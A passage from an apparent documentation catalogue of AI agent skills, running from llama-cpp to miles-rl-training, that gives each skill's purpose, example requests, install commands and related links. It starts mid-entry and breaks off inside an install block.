## When to use it Runs LLM inference on CPU, Apple Silicon, and consumer GPUs without NVIDIA hardware. Use for edge deployment, M1/M2/M3 Macs, AMD/Intel GPUs, or when CUDA is unavailable. Supports GGUF quantization (1.5-8 bit) for reduced memory and 4-10× speedup vs PyTorch on CPU. ## Example requests Ask your agent in plain language, for example: * *"How do I run a 7B chat model on my M2 MacBook Air without a GPU server?"* * *"I'm on a Ryzen 9 7950X workstation with 64 GB RAM and no GPU. I downloaded Meta-Llama-3-8B-Instruct.Q5\_K\_M.gguf from Hugging Face and want to serve it locally for a team script. When I start the server with a 32k context it gets very slow and then the process is killed. What should I check and how do I fix it?"* * *"Our lab has a few old Raspberry Pi 5 boards and an Intel Arc laptop but no NVIDIA cards. We want a small language model to summarize field notes offline. What's a realistic way to set that up, and what speed should we expect?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill llama-cpp # GitHub CLI gh skill install KalarisLabs/research-agent-skills llama-cpp ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-inference-and-ops` category with `/plugin install ml-inference-and-ops@research-agent-skills`. ## Related * [`gguf-quantization`](/research-agent-skills/skills/gguf-quantization) * [`tensorrt-llm`](/research-agent-skills/skills/tensorrt-llm) * [`optimizing-attention-flash`](/research-agent-skills/skills/optimizing-attention-flash) * [`sglang`](/research-agent-skills/skills/sglang) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/llama-cpp/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # llama-factory — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/llama-factory Guides fine-tuning of large language models with LLaMA-Factory, covering the WebUI no-code interface, training across 100+ supported models, quantized QLoRA… # `llama-factory` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** Fine-Tuning, LLaMA Factory, LLM, WebUI, No-Code, QLoRA, LoRA, Multimodal, HuggingFace, Llama, Qwen, Gemma ## When to use it Guides fine-tuning of large language models with LLaMA-Factory, covering the WebUI no-code interface, training across 100+ supported models, quantized QLoRA at 2/3/4/5/6/8-bit precision, and multimodal model support. Use when setting up or configuring a LLaMA-Factory fine-tuning run, choosing a quantization level for QLoRA training, using the WebUI instead of writing training code, fine-tuning a multimodal model, or debugging a LLaMA-Factory training error. Not for general-purpose inference serving or for other training frameworks; use the matching skill for those. ## Example requests Ask your agent in plain language, for example: * *"How do I launch the LLaMA-Factory WebUI to fine-tune a model without writing code?"* * *"I'm running QLoRA on Qwen2-7B with LLaMA-Factory on a single 24GB RTX 4090, dataset is my\_data.json registered in dataset\_info.json. I get 'CUDA out of memory' at step 3 with quantization\_bit 8, cutoff\_len 4096, batch size 4. What should I change?"* * *"I want to adapt a vision-language model to read chest X-ray images and produce short captions, using my own image-text pairs on one GPU with limited VRAM. Where do I start, and how can I make it fit in memory?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill llama-factory # GitHub CLI gh skill install KalarisLabs/research-agent-skills llama-factory ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`axolotl`](/research-agent-skills/skills/axolotl) * [`ml-training-recipes`](/research-agent-skills/skills/ml-training-recipes) * [`unsloth`](/research-agent-skills/skills/unsloth) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/llama-factory/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # llamaguard — AI agent skill for ml evaluation and safety Source: https://docs.kalarislabs.com/research-agent-skills/skills/llamaguard Classifies LLM prompts and responses as safe or unsafe using Meta's LlamaGuard (7B v1, 8B v2 and v3) across six categories: violence and hate, sexual content… # `llamaguard` **Category:** [ml-evaluation-and-safety](/research-agent-skills/skills#ml-evaluation-and-safety) · **License:** MIT · **Version:** 1.0.0 **Tags:** Safety Alignment, LlamaGuard, Content Moderation, Meta, Guardrails, Safety Classification, Input Filtering, Output Filtering, AI Safety ## When to use it Classifies LLM prompts and responses as safe or unsafe using Meta's LlamaGuard (7B v1, 8B v2 and v3) across six categories: violence and hate, sexual content, guns and illegal weapons, regulated substances, suicide and self-harm, and criminal planning. Covers HuggingFace Transformers and vLLM inference, a FastAPI moderation endpoint, Sagemaker deployment, and NeMo Guardrails integration. Use when filtering user prompts before an LLM call, moderating model outputs before display, serving a self-hosted moderation API, or reducing latency and GPU memory of a moderation model with vLLM or quantization. Use when tuning thresholds to cut false positives. For a simpler hosted option, use the OpenAI Moderation API instead. ## Example requests Ask your agent in plain language, for example: * *"How do I run LlamaGuard on user prompts before they hit my chatbot?"* * *"I'm running Meta-Llama-Guard-3-8B through HF Transformers on a T4 in moderate.py and getting CUDA out of memory, plus each call takes \~450ms. I need to serve it to our team as an HTTP moderation endpoint. What should I change?"* * *"Our assistant sometimes writes replies about drugs or self-harm that we don't want shown to users. I want a self-hosted classifier to check each model reply before display, and it's flagging too many harmless medical-education answers. How should I set this up and cut the false positives?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill llamaguard # GitHub CLI gh skill install KalarisLabs/research-agent-skills llamaguard ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-evaluation-and-safety` category with `/plugin install ml-evaluation-and-safety@research-agent-skills`. ## Related * [`nemo-guardrails`](/research-agent-skills/skills/nemo-guardrails) * [`prompt-guard`](/research-agent-skills/skills/prompt-guard) * [`serving-llms-vllm`](/research-agent-skills/skills/serving-llms-vllm) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/llamaguard/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # llamaindex — AI agent skill for llm applications Source: https://docs.kalarislabs.com/research-agent-skills/skills/llamaindex Data framework for building LLM applications with RAG. Specializes in document ingestion (300+ connectors), indexing, and querying. # `llamaindex` **Category:** [llm-applications](/research-agent-skills/skills#llm-applications) · **License:** MIT · **Version:** 1.0.0 **Tags:** Agents, LlamaIndex, RAG, Document Ingestion, Vector Indices, Query Engines, Knowledge Retrieval, Data Framework, Multimodal, Private Data, Connectors ## When to use it Data framework for building LLM applications with RAG. Specializes in document ingestion (300+ connectors), indexing, and querying. Features vector indices, query engines, agents, and multi-modal support. Use for document Q\&A, chatbots, knowledge retrieval, or building RAG pipelines. Best for data-centric LLM applications. ## Example requests Ask your agent in plain language, for example: * *"How do I build a quick RAG over a folder of PDFs?"* * *"I have about 400 PDFs of oncology papers in ./papers and a Postgres table with trial metadata (nct\_id, phase, status). I want to ask questions over the papers and filter retrieval by phase and status. Using llama-index 0.14 with Chroma as the store. How should I set this up, and how do I stop it from re-embedding everything every time I restart?"* * *"My lab has years of internal protocols, meeting notes and Notion pages. I'd like a chatbot that lets students ask questions about them and remembers earlier turns in the conversation, answering from our own documents. What's a sensible way to build it?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill llamaindex # GitHub CLI gh skill install KalarisLabs/research-agent-skills llamaindex ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `llm-applications` category with `/plugin install llm-applications@research-agent-skills`. ## Related * [`langsmith-observability`](/research-agent-skills/skills/langsmith-observability) * [Skills for AI research](/research-agent-skills/fields/artificial-intelligence) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/llamaindex/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # llava — AI agent skill for multimodal and emerging Source: https://docs.kalarislabs.com/research-agent-skills/skills/llava Large Language and Vision Assistant. Enables visual instruction tuning and image-based conversations. # `llava` **Category:** [multimodal-and-emerging](/research-agent-skills/skills#multimodal-and-emerging) · **License:** MIT · **Version:** 1.0.0 **Tags:** LLaVA, Vision-Language, Multimodal, Visual Question Answering, Image Chat, CLIP, Vicuna, Conversational AI, Instruction Tuning, VQA ## When to use it Large Language and Vision Assistant. Enables visual instruction tuning and image-based conversations. Combines CLIP vision encoder with Vicuna/LLaMA language models. Supports multi-turn image chat, visual question answering, and instruction following. Use for vision-language chatbots or image understanding tasks. Best for conversational image analysis. ## Example requests Ask your agent in plain language, for example: * *"How do I run LLaVA on a folder of microscopy screenshots and ask it questions about each one?"* * *"I'm on a single 24 GB RTX 4090 and want to run llava-v1.5-13b on scanned lab notebook pages from notebooks\_2024/. Loading it in fp16 gives 'CUDA out of memory'. What should I change, and how well will it read the handwriting?"* * *"I want an open-source assistant that can look at a chest X-ray figure from a paper and then answer follow-up questions about it over several turns, running locally. What do you suggest, and how would I set it up?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill llava # GitHub CLI gh skill install KalarisLabs/research-agent-skills llava ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `multimodal-and-emerging` category with `/plugin install multimodal-and-emerging@research-agent-skills`. ## Related * [`blip-2-vision-language`](/research-agent-skills/skills/blip-2-vision-language) * [`fine-tuning-with-trl`](/research-agent-skills/skills/fine-tuning-with-trl) * [Skills for AI research](/research-agent-skills/fields/artificial-intelligence) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/llava/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # long-context — AI agent skill for multimodal and emerging Source: https://docs.kalarislabs.com/research-agent-skills/skills/long-context Extend context windows of transformer models using RoPE, YaRN, ALiBi, and position interpolation techniques. # `long-context` **Category:** [multimodal-and-emerging](/research-agent-skills/skills#multimodal-and-emerging) · **License:** MIT · **Version:** 1.0.0 **Tags:** Emerging Techniques, Long Context, RoPE, YaRN, ALiBi, Position Interpolation, Extended Context, Rotary Embeddings, Attention Bias, Context Extension, Positional Encoding ## When to use it Extend context windows of transformer models using RoPE, YaRN, ALiBi, and position interpolation techniques. Use when processing long documents (32k-128k+ tokens), extending pre-trained models beyond original context limits, or implementing efficient positional encodings. Covers rotary embeddings, attention biases, interpolation methods, and extrapolation strategies for LLMs. ## Example requests Ask your agent in plain language, for example: * *"How do I stretch Mistral 7B to handle 64k tokens?"* * *"I loaded meta-llama/Llama-2-7b-hf in transformers and set rope\_scaling=\{'type':'linear','factor':8.0}, aiming for 32k. Perplexity on my 30k-token legal contracts in contracts\_eval.jsonl is much worse than at 4k, and I get an OOM at 24k tokens on a 40GB A100. What should I change, and do I need to fine-tune?"* * *"I'm pretraining a small language model from scratch and want it to be trained on 1k-token sequences but still work reasonably when tested on 2k+ tokens. It would be nice if it also used less memory. Which way of encoding token positions should I use, and why?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill long-context # GitHub CLI gh skill install KalarisLabs/research-agent-skills long-context ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `multimodal-and-emerging` category with `/plugin install multimodal-and-emerging@research-agent-skills`. ## Related * [Skills for AI research](/research-agent-skills/fields/artificial-intelligence) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/long-context/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # mamba-architecture — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/mamba-architecture Explains how to use Mamba selective state-space models (state-spaces/mamba package, Mamba-1 with d_state=16 and Mamba-2 with multi-head structure and… # `mamba-architecture` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** Model Architecture, Mamba, State Space Models, SSM, Linear Complexity, Long Context, Efficient Inference, Hardware-Aware, Alternative To Transformers ## When to use it Explains how to use Mamba selective state-space models (state-spaces/mamba package, Mamba-1 with d\_state=16 and Mamba-2 with multi-head structure and d\_state=128) for linear-time sequence modeling. Covers installation, the Mamba block, building a language model with MambaLMHeadModel, loading pretrained state-spaces checkpoints (130M to 2.8B) from HuggingFace, and benchmarking against Transformers. Use when implementing or loading Mamba models, processing very long sequences without a KV cache, building streaming applications, choosing between Mamba-1 and Mamba-2, or fixing install and CUDA memory problems. Requires Linux and an NVIDIA GPU. Do not use for standard Transformer models, or for RWKV, RetNet, or Hyena architectures. ## Example requests Ask your agent in plain language, for example: * *"How do I install mamba-ssm on my Linux box with an A100?"* * *"I'm trying to load state-spaces/mamba-1.4b in my script eval\_lm.py with AutoModelForCausalLM.from\_pretrained and it throws an error about an unrecognized model config. I'm on a 24GB RTX 4090 and want to generate text from a prompt. What should I change?"* * *"I need to run a language model over 500K-token genomic sequences, and a standard Transformer's KV cache blows up my GPU memory. I want something with linear-time scaling that can also stream. What architecture and setup would you suggest?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill mamba-architecture # GitHub CLI gh skill install KalarisLabs/research-agent-skills mamba-architecture ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`optimizing-attention-flash`](/research-agent-skills/skills/optimizing-attention-flash) * [`rwkv-architecture`](/research-agent-skills/skills/rwkv-architecture) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/mamba-architecture/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # markdown-mermaid-writing — AI agent skill for research writing Source: https://docs.kalarislabs.com/research-agent-skills/skills/markdown-mermaid-writing Writes scientific documents and documentation as markdown with embedded Mermaid diagrams as the canonical, git-diffable source format. # `markdown-mermaid-writing` **Category:** [research-writing](/research-agent-skills/skills#research-writing) · **License:** Apache-2.0 · **Version:** 1.1 **Tags:** Markdown, Mermaid diagrams, technical writing, documentation, diagrams ## When to use it Writes scientific documents and documentation as markdown with embedded Mermaid diagrams as the canonical, git-diffable source format. Covers a markdown style guide, a Mermaid style guide, 24 Mermaid diagram type references (flowchart, sequence, ER, Gantt, state, mindmap, radar, sankey, XY chart, and others), and 9 templates (research paper, status report, decision record, how-to, pull request, issue, kanban, presentation, project documentation). Use when writing a report, manuscript, README, or analysis in markdown. Use when adding a workflow, pipeline, timeline, or architecture diagram to a document. Use when choosing the right Mermaid diagram type or fixing Mermaid syntax such as radar-beta or xychart-beta. Use when starting from a document template or checking citations and heading rules. Not for scatter plots of real data or photorealistic images; use Python plotting or scientific-schematics for those. ## Example requests Ask your agent in plain language, for example: * *"Can you turn my pipeline notes into a README with a diagram of the steps?"* * *"I'm drafting analysis\_report.md for our RNA-seq differential expression results (12 samples, DESeq2). I want it to be git-diffable, with a methods section, a footnoted reference list, and a figure showing how the reads go from FASTQ to the count matrix. I tried `radar` for comparing three aligners across five metrics and GitHub says there's a parse error. Please fix it."* * *"We have a grant proposal with milestones spread over 18 months and overlapping work packages, and I'd like reviewers to see the schedule at a glance in the doc itself, without pasting in an image."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill markdown-mermaid-writing # GitHub CLI gh skill install KalarisLabs/research-agent-skills markdown-mermaid-writing ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `research-writing` category with `/plugin install research-writing@research-agent-skills`. ## Related * [`academic-plotting`](/research-agent-skills/skills/academic-plotting) * [`citation-verification`](/research-agent-skills/skills/citation-verification) * [`literature-review`](/research-agent-skills/skills/literature-review) * [`scientific-schematics`](/research-agent-skills/skills/scientific-schematics) * [`scientific-writing`](/research-agent-skills/skills/scientific-writing) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/markdown-mermaid-writing/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # market-research-reports — AI agent skill for research writing Source: https://docs.kalarislabs.com/research-agent-skills/skills/market-research-reports Build evidence-traceable market research reports and assumption-driven market sizing or forecast scenarios. # `market-research-reports` **Category:** [research-writing](/research-agent-skills/skills#research-writing) · **License:** MIT · **Version:** 1.3 · **Includes scripts** **Tags:** market research, market sizing, TAM SAM SOM, competitive analysis, reports ## When to use it Build evidence-traceable market research reports and assumption-driven market sizing or forecast scenarios. Use for market definition, industry and customer evidence, competitive landscapes, TAM/SAM/SOM reconciliation, forecast sensitivity, and auditable report scaffolds. ## Example requests Ask your agent in plain language, for example: * *"Can you help me size the market for industrial IoT sensors in Germany?"* * *"I've got source\_ledger.csv with 14 sources and a claims.csv for my draft report on the European heat pump market. Some of the numbers come from Statista, which just repackages Eurostat data. Can you check that every claim maps to valid source IDs and tell me whether my corroboration is real?"* * *"My startup is selling to dental clinics in Canada and I need to show a board how big the opportunity might be over the next 5 years, with a pessimistic and optimistic view, and which assumptions matter most. I'd rather not just quote some analyst number."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill market-research-reports # GitHub CLI gh skill install KalarisLabs/research-agent-skills market-research-reports ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `research-writing` category with `/plugin install research-writing@research-agent-skills`. ## Related * [`citation-verification`](/research-agent-skills/skills/citation-verification) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/market-research-reports/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # markitdown — AI agent skill for literature review Source: https://docs.kalarislabs.com/research-agent-skills/skills/markitdown Converts documents to Markdown with Microsoft MarkItDown (Python API, markitdown CLI, markitdown-ocr plugin, markitdown-mcp server), covering PDF, Word… # `markitdown` **Category:** [literature-review](/research-agent-skills/skills#literature-review) · **License:** MIT · **Version:** 2.2 · **Includes scripts** **Tags:** document conversion, PDF to Markdown, Word, PowerPoint, text extraction ## When to use it Converts documents to Markdown with Microsoft MarkItDown (Python API, markitdown CLI, markitdown-ocr plugin, markitdown-mcp server), covering PDF, Word, PowerPoint, Excel, HTML, CSV, EPUB, ZIP, and streams, plus Azure extraction. Use when preparing papers or reports for LLM/RAG ingestion; when batch-converting a literature folder to Markdown with provenance; when converting uploaded bytes or file streams; when OCR of scanned PDFs or image text is needed; when exposing conversion to a local agent through MCP. Do not use for bounding boxes or page coordinates (use LiteParse) or PDF merge/split/forms (use the pdf skill). ## Example requests Ask your agent in plain language, for example: * *"How do I turn a .docx into markdown with python? Want it clean for feeding to an LLM."* * *"I have \~300 PDFs in ./lit/ named like Smith\_2025\_CRISPR-screens.pdf and I need them as .md files for a RAG index. I want each one to record where it came from, and ideally they'd be grouped by year. Some are scans, though. What's the cleanest way to do this on Windows?"* * *"My web backend receives uploaded report files as raw bytes (no filename on disk). I need to extract their text as markdown for a summarizer, and I'm worried about untrusted content. What should I do?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill markitdown # GitHub CLI gh skill install KalarisLabs/research-agent-skills markitdown ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `literature-review` category with `/plugin install literature-review@research-agent-skills`. ## Related * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/markitdown/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # matchms — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/matchms Process, clean, compare, and search tandem mass spectra with matchms. # `matchms` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** Apache-2.0 · **Version:** 2.1 · **Includes scripts** **Tags:** mass spectrometry, MS/MS, spectral matching, metabolomics, cheminformatics ## When to use it Process, clean, compare, and search tandem mass spectra with matchms. Use for MS/MS file I/O, metadata harmonization, peak filtering, spectral similarity, library matching, score matrices, and molecular-similarity networks. Use pyopenms instead for LC-MS feature detection or proteomics pipelines. ## Example requests Ask your agent in plain language, for example: * *"How do I get the top 5 library hits for each spectrum in my query MGF using matchms?"* * *"I'm running an old tutorial script on my GNPS export `gnps_library.mgf` and it fails with `ImportError: cannot import name 'ModifiedCosine' from matchms.similarity`. After I swapped that out, `spectrum.add_losses()` also breaks, and so does calling `processor(spectrum)` on my SpectrumProcessor. Can you fix the script so it runs on a current install?"* * *"I have about 40,000 MS/MS spectra from a plant extract in one file. I want to group the ones that look like they share a similar fragmentation pattern into a network so I can see which compounds are related. Where do I start, and how do I keep the computation from blowing up?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill matchms # GitHub CLI gh skill install KalarisLabs/research-agent-skills matchms ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [`qdrant-vector-search`](/research-agent-skills/skills/qdrant-vector-search) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/matchms/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # matlab — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/matlab Designs, reviews, and migrates MATLAB R2026a and GNU Octave numerical code, covering functions with arguments blocks, arrays and indexing, tables and… # `matlab` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** MIT · **Version:** 1.2 · **Includes scripts** **Tags:** MATLAB, GNU Octave, numerical computing, scientific computing ## When to use it Designs, reviews, and migrates MATLAB R2026a and GNU Octave numerical code, covering functions with arguments blocks, arrays and indexing, tables and timetables, matlab.unittest tests, MATLAB Projects, exportgraphics figures, MAT file inventory, and MATLAB-Python interoperability. Includes static helper scripts that scan .m files, plan argv commands, and hash artifacts without executing anything. Use when writing or reviewing .m code, migrating code between MATLAB releases or to Octave, setting up reproducible tests and projects, inspecting an untrusted MAT or .mlx file safely, or checking Python Engine compatibility. Do not use for pure Python numerical work with NumPy or SciPy. ## Example requests Ask your agent in plain language, for example: * \*"Can you review this .m function before I send it to my lab? It uses inv(A)*b and a for loop that grows an array."* * *"I'm porting our lab's spectral analysis from MATLAB R2022b to run on GNU Octave 11 on a Linux cluster. The code uses `arguments` blocks, a `timetable` of sensor readings loaded from sensors.csv with readtable, and `exportgraphics` for figures. Running it gives 'parse error near line 12'. What will break and how do I fix it?"* * *"A collaborator emailed me a results.mat file from an unknown source and I need to see what variables are inside. I'd rather not just double-click it in MATLAB. How should I go about it?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill matlab # GitHub CLI gh skill install KalarisLabs/research-agent-skills matlab ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/matlab/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # matplotlib — AI agent skill for visualization and presentation Source: https://docs.kalarislabs.com/research-agent-skills/skills/matplotlib Low-level plotting library for full customization. # `matplotlib` **Category:** [visualization-and-presentation](/research-agent-skills/skills#visualization-and-presentation) · **License:** [https://github.com/matplotlib/matplotlib/tree/main/LICENSE](https://github.com/matplotlib/matplotlib/tree/main/LICENSE) · **Version:** 1.2 · **Includes scripts** **Tags:** plotting, data visualization, scientific figures, publication figures, Python ## When to use it Low-level plotting library for full customization. Use when you need fine-grained control over every plot element, creating novel plot types, or integrating with specific scientific workflows. Export to PNG/PDF/SVG for publication. For quick statistical plots use seaborn; for interactive plots use plotly; for publication-ready multi-panel figures with journal styling, use scientific-visualization. ## Example requests Ask your agent in plain language, for example: * *"Make me a log-scale scatter plot with a fitted line and save it as a vector PDF."* * *"I'm in Jupyter with a DataFrame `df` from results/rnaseq\_counts.csv. I need a 2x2 grid: a volcano plot (log2FC vs -log10 padj) with the significant genes in red, a MA plot, a PCA scatter and a library-size bar chart. The shared x labels overlap, and fig.savefig('fig2.png') gives a cropped legend. Please fix both and export at 300 dpi."* * *"I have a 3D array of electric potential values on a grid and need a picture that shows the field lines and the equipotential surfaces together, with the arrows scaled by field strength. Nothing off the shelf does exactly this, so I'm expecting to write the drawing code myself."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill matplotlib # GitHub CLI gh skill install KalarisLabs/research-agent-skills matplotlib ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `visualization-and-presentation` category with `/plugin install visualization-and-presentation@research-agent-skills`. ## Related * [`scientific-schematics`](/research-agent-skills/skills/scientific-schematics) * [`scientific-visualization`](/research-agent-skills/skills/scientific-visualization) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/matplotlib/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # medchem — AI agent skill for chemistry and drug discovery Source: https://docs.kalarislabs.com/research-agent-skills/skills/medchem Filters and triages small-molecule libraries with the Python medchem library (datamol-io, v2.0.5) on top of RDKit and datamol. # `medchem` **Category:** [chemistry-and-drug-discovery](/research-agent-skills/skills#chemistry-and-drug-discovery) · **License:** Apache-2.0 license · **Version:** 1.2 · **Includes scripts** **Tags:** medicinal chemistry, drug-likeness, PAINS, structural alerts, compound filtering ## When to use it Filters and triages small-molecule libraries with the Python medchem library (datamol-io, v2.0.5) on top of RDKit and datamol. Covers drug-likeness rules (Lipinski, Veber, CNS, lead-like) via RuleFilters, structural alerts (ChEMBL-derived sets, NIBR, PAINS, Brenk), chemical group detection, ZINC-based complexity thresholds, scaffold constraints, and the medchem query language (QueryFilter). Use when screening a compound library for drug-likeness, removing PAINS or other structural-alert compounds, prioritizing hits for hit-to-lead or lead optimization, detecting functional groups, or combining criteria in one query. Not for computing general descriptors or fingerprints; use RDKit directly. ## Example requests Ask your agent in plain language, for example: * *"How do I strip PAINS hits out of a SMILES list with medchem?"* * *"I have hits.csv with \~40k compounds (columns: id, smiles) from a biochemical screen. I need to keep those passing Lipinski and Veber, drop anything with NIBR severity >= 10 or Brenk alerts, and keep the reasons for each rejection for the audit trail. It's slow on my laptop. What should I run?"* * *"I'm prioritizing a set of kinase inhibitor hits for lead optimization. I want only compounds that are CNS-friendly, have no reactive or toxic substructures, and contain a benzene ring or an amide. Can I express all of that as a single combined filter instead of chaining several steps?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill medchem # GitHub CLI gh skill install KalarisLabs/research-agent-skills medchem ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `chemistry-and-drug-discovery` category with `/plugin install chemistry-and-drug-discovery@research-agent-skills`. ## Related * [Skills for chemistry and drug discovery](/research-agent-skills/fields/chemistry) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/medchem/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # miles-rl-training — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/miles-rl-training Provides guidance for enterprise-grade RL training using miles, a production-ready fork of slime. # `miles-rl-training` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** Reinforcement Learning, MoE, FP8, INT4, Enterprise, SGLang, Megatron-LM ## When to use it Provides guidance for enterprise-grade RL training using miles, a production-ready fork of slime. Use when training large MoE models with FP8/INT4, needing train-inference alignment, or requiring speculative RL for maximum throughput. ## Example requests Ask your agent in plain language, for example: * *"How do I turn on FP8 rollout and training for a Qwen3-MoE run so RL doesn't collapse?"* * *"I'm running GRPO on DeepSeek-V3 with miles on 4 nodes of H200. After about 200 steps the reward drops sharply and the logprobs from SGLang don't match Megatron's. Is this a train-inference mismatch, and how do I fix it? My args currently include --use-tis --tis-threshold 0.9 but I don't use any routing replay."* * *"My RL rollouts are the bottleneck when post-training a big MoE model. Generation takes far longer than the gradient update. I'd like to speed up sampling by having a small helper model propose tokens that the main model checks, and the helper should stay in sync with the policy as it changes. What setup do I need?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill miles-rl-training # GitHub CLI gh skill install 